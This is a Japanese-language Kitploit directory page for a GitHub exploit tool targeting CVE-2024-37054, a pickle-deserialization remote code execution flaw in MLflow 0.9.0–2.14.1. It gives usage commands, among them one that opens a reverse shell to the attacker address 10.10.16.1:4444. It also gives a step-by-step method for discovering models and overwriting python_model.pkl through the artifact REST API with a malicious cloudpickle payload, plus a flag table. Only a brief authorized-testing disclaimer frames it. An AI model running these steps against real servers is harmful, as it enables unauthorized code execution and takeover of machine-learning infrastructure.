Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/tristanqtn/cve-2024-37054
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 エクスプロイトおよびドキュメント

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-37054 — MLflow pyfunc デシリアライゼーション RCE

重要度: Critical
影響を受けるバージョン: MLflow 0.9.0 – 2.14.1
種別: Python pickle のデシリアライゼーションによる任意コード実行

説明

mlflow.pyfunc.load_model() は、アーティファクトストアから python_model.pkl をいかなるサニタイズも行わずにデシリアライズします。MLflow アーティファクト REST API に到達できる攻撃者は、そのファイルを悪意のある pickle で上書きできるため、次回モデルが読み込まれたときに任意の OS コマンドが実行されます。

要件

root@kitploit:~
pip install requests cloudpickle

使用方法

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

主なオプション

動作の仕組み

  1. 発見 — /api/2.0/mlflow/registered-models/search を照会し、モデルとその run_id / experiment_id を特定する
  2. 汚染 — 悪意のある cloudpickle ペイロードを /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl に PUT する
  3. トリガー — そのモデルに対して mlflow.pyfunc.load_model() を呼び出す任意のコードパスがペイロードをデシリアライズし、コマンドを実行する

トリガーステップには、モデルを読み込むアプリケーションのエンドポイントが必要です。既知のエンドポイントがない場合は --no-trigger(または --trigger-url の省略)を使用し、利用可能な手段で読み込みをトリガーしてください。

免責事項

許可を得たペネトレーションテストおよび教育目的のみに使用してください。

ツールをダウンロード
フラグ説明
--mlflow URLMLflow トラッキングサーバーのベース URL(必須)
--model NAME登録済みモデル名 — 省略時は最初のモデルを自動選択
--version Nモデルバージョン — デフォルトは最新
--user / --passMLflow の HTTP Basic 認証情報
--run-id / --exp-id既知の ID を使用してモデル探索をバイパス
--trigger-url URLload_model() を呼び出すアプリのエンドポイント — 省略時はアップロードのみ
--session COOKIEトリガーリクエストとともに送信するセッションクッキー